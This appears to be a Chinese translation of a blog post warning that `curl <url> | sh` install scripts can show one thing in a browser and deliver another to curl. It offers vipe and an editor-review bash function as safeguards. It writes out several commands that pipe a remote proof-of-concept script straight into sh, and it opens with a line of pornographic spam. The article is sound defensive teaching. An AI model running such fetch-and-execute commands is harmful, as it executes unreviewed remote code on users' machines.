自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

保護(hù)你自己免受 `curl <url> | sh` 的危害

系統(tǒng) Linux
本文并不是為了討論這個(gè)方法的好壞,而是為了提醒那些使用此方法的人,這個(gè)方法除了那些明顯的缺點(diǎn)外,它還有另一個(gè)隱患:直接將第三方數(shù)據(jù)通過管道傳入shell?,F(xiàn)在有很多關(guān)于這個(gè)方法的討論,支持它的一種觀點(diǎn)認(rèn)為要執(zhí)行的腳本是透明的——你可以在命令執(zhí)行前用瀏覽器打開該腳本并對(duì)其進(jìn)行簡(jiǎn)單的檢查。

除非你最近沒有安裝過開發(fā)者關(guān)注的第三方軟件,否則你很可能被建議使用如下命令直接從網(wǎng)絡(luò)上進(jìn)行安裝。

  1. curl -s http://example.com/install.sh | sh  

本文并不是為了討論這個(gè)方法的好壞,而是為了提醒那些使用此方法的人,這個(gè)方法除了那些明顯的缺點(diǎn)外,它還有另一個(gè)隱患:直接將第三方數(shù)據(jù)通過管道傳入shell?,F(xiàn)在有很多關(guān)于這個(gè)方法的討論,支持它的一種觀點(diǎn)認(rèn)為要執(zhí)行的腳本是透明的——你可以在命令執(zhí)行前用瀏覽器打開該腳本并對(duì)其進(jìn)行簡(jiǎn)單的檢查。

本文的主要目的在于 a)說明這種程度的信任是可以被劫持的,并且b)在使用curl安裝軟件時(shí)為你提供一個(gè)簡(jiǎn)便的保護(hù)方式。

概念驗(yàn)證 —— 一切并非表面看到的那樣

直接切入正題,這種攻擊基于以下原理:.sh文件的內(nèi)容很容易檢驗(yàn)其安全性,在瀏覽器中看到的內(nèi)容與通過curl下載的內(nèi)容一樣。這一假設(shè)的問題在用瀏覽器和curl兩種方式用不同的user-agent,因此如果有人知道這點(diǎn)并加以利用將危害這個(gè).sh文件()。

因此,一個(gè)簡(jiǎn)單的概念定義已經(jīng)出來:你可以在GitHub上看全部源代碼或者看POC hosted on Heroku;POC被掛在一個(gè)免費(fèi)的Heroku dyno上,所以如果打不開,很可能是已經(jīng)掛掉了。

為了快速測(cè)試一下,在你檢查了瀏覽器上.sh文件的URL后簡(jiǎn)單在終端上運(yùn)行下面的命令。如果你用curl不是發(fā)出的同一個(gè)user-agent,你得到的結(jié)果將是不同的。

  1. curl -s http://pipe-to-sh-poc.herokuapp.com/install.sh | sh 

解決方案

最簡(jiǎn)單的辦法是每執(zhí)行一個(gè)文件前, 先查看里面的內(nèi)容. 具體的方法有兩種, 道理都差不多, 都是在 curl 之后, sh 之前執(zhí)行; 一旦你發(fā)現(xiàn)有可疑的命令/代碼, 只要把編輯器關(guān)掉, 并確保編輯器退出的時(shí)候, 返回一個(gè)非零錯(cuò)誤代碼.  (比如: 在 Vim 中, 你可以使用 :cq 退出). 方法1 需要安裝, 方法2 輸入命令的時(shí)候少打幾個(gè)字. 至于用哪一個(gè), 看你個(gè)人喜好了.

方法1) 由于Vipe 允許你把運(yùn)行編輯器的命令插入 unix 管道中, 查看或修改傳遞給后面程序的數(shù)據(jù). 我們可以使用 Vipe 在 sh 執(zhí)行之前查看文件的內(nèi)容.

  1. curl -s http://pipe-to-sh-poc.herokuapp.com/install.sh | vipe | sh 

Vipe 屬于 themoreutils 軟件包的一部分, 你可以在下列系統(tǒng)中安裝:

  • Mac OSX 用 homebrew:brew install moreutils.

  • Ubuntu 用 apt:apt-get install moreutils.

  • 其他 *nix 系統(tǒng), 可以使用軟件源安裝.

方法2) 自己定義 bash 函數(shù). 找到 .bashrc 文件, 然后把下列代碼復(fù)制進(jìn)去保存就可以了:

  1. # Safer curl | sh'ingfunction curlsh {  
  2.     file=$(mktemp -t curlsh) || { echo "Failed creating file"; return; }  
  3.     curl -s "$1" > $file || { echo "Failed to curl file"; return; }  
  4.     $EDITOR $file || { echo "Editor quit with error code"; return; }  
  5.     sh $file;  
  6.     rm $file;} 

調(diào)用的時(shí)候這么寫:

  1. curlsh http://pipe-to-sh-poc.herokuapp.com/install.sh  

$EDITOR 是你選的編輯器, 它會(huì)在文件執(zhí)行前, 將文件打開, 方便你查看里面的內(nèi)容.

英文原文:Protect yourself from the hidden dangers of `curl <url> | sh`

譯文出自:http://www.oschina.net/translate/protect-yourself-from-non-obvious-dangers-curl-url-pipe-sh

責(zé)任編輯:林師授 來源: www.djm.org.uk
相關(guān)推薦

2021-08-02 10:06:53

勒索軟件惡意軟件安全

2021-05-10 10:08:03

網(wǎng)絡(luò)詐騙網(wǎng)絡(luò)攻擊網(wǎng)絡(luò)安全

2018-07-09 05:51:13

2019-02-11 10:50:22

2023-02-03 14:40:07

2020-05-20 10:20:56

智能家居黑客網(wǎng)絡(luò)攻擊

2022-03-23 16:03:51

加密貨幣私鑰網(wǎng)絡(luò)安全

2019-11-28 08:03:39

網(wǎng)絡(luò)攻擊網(wǎng)絡(luò)安全數(shù)據(jù)安全

2021-11-29 18:10:30

網(wǎng)絡(luò)攻擊數(shù)據(jù)安全數(shù)據(jù)泄露

2020-09-07 22:42:01

黑客網(wǎng)絡(luò)攻擊惡意軟件

2022-06-13 10:18:13

物聯(lián)網(wǎng)IoT

2023-06-12 15:04:40

2021-11-09 15:16:49

物聯(lián)網(wǎng)物理資產(chǎn)IoT

2019-10-29 05:00:58

黑客攻擊網(wǎng)絡(luò)安全

2024-11-08 09:45:47

2015-06-17 09:59:18

2018-03-02 06:30:13

2023-05-05 11:44:06

2023-08-28 16:22:06

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)